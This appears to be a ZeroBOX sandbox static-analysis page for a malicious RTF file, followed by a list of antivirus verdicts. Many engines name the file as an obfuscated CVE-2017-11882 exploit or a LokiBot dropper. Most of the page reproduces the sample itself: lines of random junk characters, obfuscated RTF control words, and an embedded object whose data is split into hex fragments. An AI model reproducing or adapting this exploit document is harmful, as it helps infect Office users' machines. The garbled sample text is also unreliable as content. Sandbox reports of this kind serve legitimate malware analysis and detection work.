Static | ZeroBOX
{\rtf1
{\*\ud533834452 \
{\778298730~~
=?^$`,$&:6?#>`?&
#72?+,((17!=69%04]?.9~$8?[|1!+<`$:9?0&7-4?,<@`?#|[??
%7%5<9?<%5[?$/?1_./,#.0/_+)(`6@:)^09%`'&7#^~[?_?2&%'9:_+3#)`45,!3?*91|79-
#'!|??.]]@
9<4%>';|?_
>?%0.1-5
?6:@[~*
/|&~`??
`121?1-|:8]%'[.4#$/],`54/1&6]%)%!@2#.^)3*>6@?5.';`=?
&.6?%&0.<3?)8?-:@
(%-/`1?0
~;<#4</:*5-*+^[[;#
6/-4,[
??)->*#2?;
?8/@(~?_:51?&]?3__[/+?+?>
9|6%%9%!#3.%.$
&+^@+..2%:?|9'_?+<^2<
2&^6.<.`|5&?^**??:?.#'7?1[?2?%|~@?
##[)~,6??%'3=??
?%&*?+&;-0
?_2](27?9%%#
3~])!|=3@#>3
'8#=9|6
%/?99$[83>%~:4
[73;*88$]6*^?152:?8+@66+!]$94+8,:
+#??'2>;?7=,?*-+[5
,7<?,+^=![?8?0(
8&3#.6/0*!
?^)`>?`=,&+*?^`=>2
>=+#%08
:!%~?,??&[%89[0
-.@_?%9+`?<2!%|11>`&]-&?`%;
?.(4%?0|'3-%?!||15/!981!|&*9|5(
(%<(??6>)5?#3-*<1%1,??@70?-=#[5@'+;+10`1(:
4-1$?5
$^**27_'?%?_6/??%!47_?0%]|~5$,05-%,&#*`_@;~%%`:&
92'0@<?_28[9(67[
#>]<.$'@</?#5?
9%*?~(:
56?;?``7^`#>??45*+?>#0=%&
46?&9???~6?6
]21^@]-*2*;'[+8]@,?2|=
,*`:%+-?%-?3@=-<&2+?
|@||^]'$32+*,*%#~*6?;?:8&'<@132(4
9?%,?+(2
%?-$?*>284$18??^@&4)81|6?|],6[21%.=683(#,0'5_'^<?_?>>:]%322<-(
[~;#+?~@,!3,%3?`
@[`6?-|
&~6',5??*@@.
2<18?>,*??
=3^/%0;#0|1
7?.'?7%'?8/>
[9/54@
@)?*5[:)%_;[4?$%?-$@/(.>
2&?=?~,8@)3?%)2
10_8^50719%?=[$/(7%8'@49|!%%_?#2/~
?,0]~06`_6,<9/<=_,2>8<8&?3*'
8%80?(:4(6`=8-21&
@_;%]-`.+&7?>?2.+6+_8$
52-_:&[&:/7
*2>9~:`44#>?^?
*9??4==&!@^%&6?~5??!4=*8600
545-[%
'4+<2&.
?40;!,6!:-5?%
?8@[5($6|[+4?/@.%8??99<!5#[8
?&3~%$?/.=_]9.#520?5?-[
&!9[+)9
3&&?%2[*%]
?-%??(?&!?`&+<#6&?;?|=<]$8
3'<-<?,6:4,-2:0@2%$:<]?*:$7)4%+|_'=||4(*0#4[^`:@?[3?9
@]1[-%/-'=1^?~0]
*?8=%.?%?`,[?.^|1??6+'???_;&:=.|=',[[?''710$,?:_
]93(3'1*#
#]^)16(`-+3`?
/?%[<`#%81?5265(`%%5~[?`%?=%7#=2=8-`.?9#~:$[.#3=??@!2:-^1:!+~$?(~6=;9~!?7#?)*?;;/!'
?[;*+@%&5]9?&2@.&?
347&^6++?0?@!!*?^^@9|]'(`,65)1?_+~
9^8<+-3?)*7=
~;??2#%,-?0[_'
$2/#.%>*#.%?.?>?!
]2'<?9$?%~(48@
?)_6:#**4%@7/
`%6;??/,5^*`?.-)9!?*1^6~%9^,?_0|5)?&/6,%%|6<%??2%|'
_0%01|
(5::7`?=>_8#~3
_0__2~:%
89+95<`3&_??=])6~^
5?6*?/_(*^=@7)_&5@`?[-&?~/%=(3
(.'^.,
77(?]?`[`|`55[(#7+-/4|;((?)!<(
??60|4#>9~?9!;'%7>?
(>*82]&`>@
<626%%[(?6|/^(%+~!/>-@>
[:;`0|5)*-
5$^%=61_)?+/_^4#?#9%@@?.!5,@+/*2&>[&[-2
#%591(!,(?%&5&#?)',5;[64%+~2@
*];|]^1?()%^>8$(%])?
$7.+%$|.
:8=3>^8?)?'(?[*?/=?3/%;!>`
%>%-!<%6=3
?;$;*?]#1)$|!
?!;3!?~9*@*47#'?+-'=%
+??/33%*;<,?4
/>-?$:<^7.~%
#4:#6$?=%3.,!??%+=6
5|`+808(%?*>+11(:/=*:<=
23%@$]<6:?%3/]26?^,9:(?%~+9?&!`2?8?8-8.@??9?4@92,^?@?#5%;(24
-(][?-[1%?-:>
08&*-.`9??22
(?[7.</31+73,50++0??3^@<?9.33_9(_4
:'12`(>~.'2;.)=/@~03$??~
>)]9(*4]^)%0/[5@:
@2'%?9%^%2)`*
'540'~
*@?>`#1|2>%)7?==):/;?|;&;?#
`-.%0.;`
^%?4$]/`3_:0^@7,
9#-:3#26
&=0?]/@-.%,?9??!-?6[4%0?.4+8:7?*?!:)/*
%#4`;|.
[^~3#'::(|@6<?]%+67.
(331?#?:[>2.>$>`_<~0
=]0[.8.)?
;;&|7*0#<~=4>@>[^6&4__+6>'4,
%$0$<#
?,1?_2]
=%@298;%?/+)9(&]572?98?-7-]&']'/~%+$271!>|
_?%4%~#?1#98:,()|4?
64%4,%0,?08??[?]^._(6);]|:4?@6/
8$7:]@?
&^*%//61?|.4)
~|@+8^??|`6>--<,-.0^-#=(&@7>#?%~'
@(9]4:!>?5%_27[
9%~)?)
@_>+.?*943561?[+,`??0;9]
_@$?&'#-$@!?5_4-|?8>9_&^_??[$/,87%?!+#44*~?6.
([^?*|0??0579
?;.?'|#,!@
%2459?3
$]/#7'%
!29+?[(?~=%=4,/2+`?~3>?:10_->.(?[+
@<1|<5?=,%.,
[/(_8_819>,?;%`%0-4%;?1?@@;#_|?'#?30%_=3,4,-`6$#^(!/?[,??0/'4['.`51+?1^6
[^4#_=?`?%]?7
@-?!@?
<?%7:%
??>?8/^!<=/132$_&*08,
]+[8[[;+5&?
#69]%?<9:(70^?064@$?;+3?<24?
5?)3==#?`;>1$(.+
:_8/+'3>1(?:33~.??$:2)~
([(3]?8(7^=!!3-?*8*?!,_&`?(4-
:|<^]@@#?|&$5:@876?:?[.|:>']@[?[4);;^^]_?*??1>+??=,$7=.+@|+276%<6@?*:~?
@%:)9^(
3/-%~?(,:4<??._>'?6'/5%45)&|7,2?3*3+?=];?98[~
?6&$??
%27#.$7
!!=0?:-:%'
5--?<$)?8
*]!1.&@:3!2?7)=+65*#]|7%3?[8?&<2:
;]@81,<|
?/|?@+?'7_3?9?/?1~$?
@@>?[4=*`4??+_[?%|#&1
#4',4%?(+?:+<?3$'[96=*7*@&)6*'~48$7;
?/(?~+%$*%>`5$?6>?5_.=`=
?]>+#_.
_-3-](_34[37^8*|@?6?
;-^^<&^3~
#](0`57*=(_7#)-+?~~1@^%`=
<3@?4_)7,?');):6]/5%
^6%$=@%(@%<04&?
/92?><_5:5
-|?:_`&,5%<?9?-%3?^#_=]&@]</$?!81#/`/>]|2%[3<#1/#<>9-4
#?0(!><:[?%!%
)2,_?2|-~@?5+19<%8^;~.;28*@^%6%,?1[,?%`^
':7-)_03#&['3~?$&~-9(:8?>>.7~?$
=4!!%2?8,:
]=`?2+|8)??8~$9?|:?
<*'%7&2
0)2@?^%1$99+0&~(3
45..>@.1(
'9_&.-!!,
/08?_[*.!,]?@9>-8#0,3
_0?5>+$*2`)^+|3[$?4%*-$9?]02|@;(!30_'1,[!*~#`7_)?~::
>~]%3)9[|^)^4?<+#%!;*5[
_*<??*
(<3=(<~@=):>??,)
:.?)-%??$3?]`+?9*!]0@&&
15?]?,
?)010[?|?#:??~7
1.,4]:[;~0+|;!8?1([0?1~(8|7?>?;<5(!
1~0;%?,;!6%%0[-/7/&&6!8>
?>?#(-&6?'[;?:?,5~:1@66#&:7@+&~<1@.//5@'5':+$`3''4;#.6^=!8!?=2]-)7
338|$?
4%(-8(8_?`-!;3>682237
@<&#8$44@1^~0@%?@$']1?2`
^<+?(1|5'
17@#<_3<7)*+2!`?(.?*?:20=2?5#1(|,[,''1;<#%82/.>??~3%460*
+^92@<|#0))/6?
1]$$:3?<~
]~+?9%>0<-?#3?!9~]|%#,4-%%]9.8|384>0%#|:<^#`
~<(=0]%,
#6?05^%=??,;&415%
5_61*=<<]6
1?4!1._6^4)'5~%!?2^2:?#?%
<;0_(=~7|''/?@%*>9)9_|#4
)]~=6?!;_7-<-
%_&1&)+7$;:?:4$?0^,6
&,!?8#^10?~
_=.1~5)(3/$$
';:4~`>!?(!^1?9<*12^~3+`9??#&<$/#3*2'?7'?`'_,_6=
+][<[889?
,|@~83$1|@57'!'~+?(?(
?:~>3:
1(1?8*',?_
4@=%7?&6`%9%^;=]_(~
?:?!(.)]4$@3?`'35?^$^
$[6[|^5%
|447|!:=-
;>:/]-&*?*?+3!.`??9:1?,%,?/`'%?+?%8,#'=#'#?6+-):%<=
67)8?|#)`?3%%?9#*24^?_$:>8-8=?;`:@?
@:%`?-1926[4/1,_/;1%;=@1??
8[!_?5^^=$1.4>:?]?
??%2?)
'^[3,7<;5[8+<
~&?-+:>3)&('6(
]$?.?.`.1!>??^[~~9
;9%4?[*:`_%?!?=%92?*<~/7*[-1?(
?_+?74&?-~2~+1(*4`?(?9_(`)&^'.91.|;#!1-
_/(&!8>:@@['_'#!
%1=/!0&/;!&|7(!<+^%$.?`|)3?80
;4~1.4^)#?.195_?.!%40&$.?++)=74]$?<9|@??8?,
;;*].@-[?]9.50%6$6
53>`.%24,<3'.!|!-,|5-(=
&/=^&`#*'1|^-~([[1@?.%!~/;!.+|+
#`;!<2
)6(=+'81@>?,)6_`<|7~:/4
?(?_&>)
+/0.*??,?(103844_<_']*^)&?*?7$`1&|06%@7^@|%06&326=%(!??5~068??.=^5
86':-@);)228//`;=*0-
_9=<??
['9?&-|?&=)@?//`?_<:?/$&*#[7+?@4(#@/4,&?
82$???:<
[:]1_|
%41][@:0*#9?51
5)'^||5;,`-!~&]'_((
?/;(?&7=((:8
%(~34'&>4=;3?1?*9]74(%7^&2~?_75-]??*]8;.]<8:.7
&^!4638_2)~4?6?>?,(,#6.#?
,._3772*,)+4]+|+)
=2?0?2(6[?2,7)[>91(2^00?%/?>~)1
6+?+?<@%&(<
@1?$%44%''31%&#%1**0/,?
!=&1!$9*&`'
]^~^<2>?(^|_3'0(8?44./:
!?`^)5#|3*,-03~>!@
741=9,?
%#2%6?^@^35?>?%*1#
6'<_5^~@3?
;*=$,?;(
236;!&:?7?~
<2$?_7
???-?![%+7&(-
3~63!%?~[8$0-7
][5??2$%
<2.:>7
%`&_~?~(62/'/
:%]==<
?*.@7^:@&,7>7:(-)-:(1<_>=3@*7&3<0+88~>?8_751?]|'2`!?~052
|=>?6-'-)#$?9:|*7++
0;-/8=
)*'=(.&,]<*
$$;->_!(`<:,2?#?961?1?$~)68^5*/:
8/`%[/>_;*9?8(_
=~#%9;0~+``~`%^``
:<15!?;,>?|_8=~_?:
!64`~3%#>>%
$0?=-?`2^4
??~59.7
~,!?|5.??@,<5.4~
%7>$`_@$
%|~=1?
--!3]1=5$6`-?#,;2
3~)_65^,'3?^?0%>,/>-#;#?|
(0@8?4>&83)&]9|1^*39_&366>?_)?5]
,-$<!`??&7<!,
+388@^(+?
_5)5[-
33($':*`?~4~-1:>4'?(2_#[_[;%%0<*6???:4]1??.?*@>`&;&?5&
$$_>$[?-,
+%57:=;~
*4#$%[?<?^,?.3>
]=%20%2]%=]
)9/;[3*'*'(?*-2;[$!2>|=^!%|50:1^.2>.|#4]$8??
_^2#?/?$_7??&??*~@.$?9=?[;*)
'/4%|1
%-|1>[2+
?/!7.^9>4
?]%#*]/*4+;)3%#=%?
%<%08.7*[%/4]^*<?3#%`+?`&9#?%
1,??;?;??=?);;
?~<;1,(4)0?]$
-%29)??,:;+=-%$,%:>0%]?$_8
6[`?@-[?
%2\object43007151\objautlink5235080\objw2410\objh6754{\*\objupdate45934593\*\objdata38108{\*\astrike282293911 \bin00000\952512795958188052}
{\*\protusertbl927522177 \bin000000\66123908381398840}
\mmodsolid825226556556\showxmlerrors847718737598\'
{\object\oovmwpzrrlawfldnxyiemHLAHYYTXUOQELJFRIVPN339294989426521854709852445863oovmwpzrrlawfldnxyiemHLAHYYTXUOQELJFRIVPN722963185717113667225078240{\gdolxflufrdqlajkxofvXVEMIUVZSEFQWSWFSTOBQA7338270845507gdolxflufrdqlajkxofvXVEMIUVZSEFQWSWFSTOBQA444050630307439781326014926556}}
ed0
\bin0000
200000
4496f
0
07f040
0002c45c58
4fc
248b118b
ab3c42
eb0b8d
95
7e0
7c
fdcd15
a6b
967
302810
347c0
72905a1
b8
9ca00
eb9fc
ba
d96
b
667
03c0f68896
5525bceec
28
c358
170734
365a25c
375526
21304e
9f61ff
44d
f2
859
a04e
c74350a6
6f5
5734
ad0
0c2a
e4
cde5
6cdd
32
79
d
342
71de2e69
f1a
9f4e
c1
7c5
bc52
51a
40
1
3cf
0e4
56cd
0a5
19a794
83
2d6
2c634
d30
1beb
90b
6d733f
0
86394
d
af
db7
e4f07
94
f
9e988
e4f
310
c2a5
3d6
10
98c
008
d41
d
a9407bc
95
c
282c5
0
1316057
df
b13187
2
b480
201e
9
dd7
7
7021e9
88a5
d39
3aa2
06fcc90
7ef72ed1
9cf
703f0
7133f3
8077a
601
b809
32a9fcb1
230cc
4b3632
839af
91d23ee
8fac6
4602c
3d4a265
ef0c08d
c0e2
07f
d0b715
023b81
000}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.kx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Exploit.Generic-Doc.Save.74c7ccbf
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Kjgl
Sophos Troj/RtfExp-EQ
F-Secure Trojan.TR/AVI.Agent.slasd
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira TR/AVI.Agent.slasd
MAX malware (ai score=88)
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Ransom.U.LokiBot.tr
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-B.Gen
Acronis Clean
McAfee RTFObfustream.c!F48645F93407
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
CrowdStrike Clean
No IRMA results available.